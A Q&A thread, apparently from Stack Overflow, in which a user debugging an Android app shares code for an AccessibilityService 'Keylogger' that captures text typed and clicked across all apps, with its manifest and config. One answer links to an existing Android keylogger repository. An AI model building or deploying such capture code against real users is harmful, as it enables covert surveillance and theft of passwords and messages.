1

I am working on an Android app (academic purposes) and as part of the app I want to integrate a Keylogger. Following this answer Android Key logger I tried to implement it using AccessibilityService. The code for my class, called Keylogger.java, is the following:

import android.accessibilityservice.AccessibilityService;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;

public class Keylogger extends AccessibilityService {


@Override
public void onAccessibilityEvent(AccessibilityEvent event) {


    int tipo = event.getEventType();
    switch(tipo) {

        case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
            String data = event.getText().toString();
            System.out.println("data: " + data);
            break;
        }
        case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
            String data = event.getText().toString();
            System.out.println("data: " + data);
            break;
        }
        case AccessibilityEvent.TYPE_VIEW_CLICKED: {
            String data = event.getText().toString();
            System.out.println("data: " + data);
            break;
        }
        default:
            break;
    }

}

@Override
public void onInterrupt() {

}


@Override
public void onServiceConnected() {
    Log.d("Keylogger", "Starting service");
}

}

The Manifest file looks like this:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.mychat">

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" ></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />

<application
    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:roundIcon="@mipmap/ic_launcher_round"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">
    <activity android:name=".MainActivity">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>

    <activity android:name=".ChatBoxActivity">
        <intent-filter>
            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>

    <service android:name=".Keylogger"
        android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
        <intent-filter>
            <action android:name="android.accessibilityservice.AccessibilityService" />
        </intent-filter>
        <meta-data
            android:name="android.accessibilityservice"
            android:resource="@xml/accessibility_service_config" />
    </service>

</application>

and finally, the Configuration file for the service:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames=""
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="" />

When I install the app on the device it works just fine (that is, I get no errors), and I can manually activate the service going to Settings >> Accessibility. But nothing happens next. I tried everything (launch other applications and type some text) but the prints that I placed on each case will not show up. The app does several things but from my understanding the service should work automatically. What am I missing and how can I get it right?

Thank you in advance.

1 Answers1

0

https://github.com/bshu2/Android-Keylogger

Here's a android accessibility Keylogger I've used before , and works nice I guess you can compare your application with that Keylogger , you might find your mistake

  • 1
    While that link may answer the question, it is better if your explain the essential parts in your answer. Links may become unusable if the target page changes. For more information, see [Are answers that just contain links elsewhere really “good answers"](https://meta.stackexchange.com/questions/8231/are-answers-that-just-contain-links-elsewhere-really-good-answers) and [How to write a good answer](https://meta.stackoverflow.com/help/how-to-answer). – Brian61354270 Mar 03 '20 at 23:40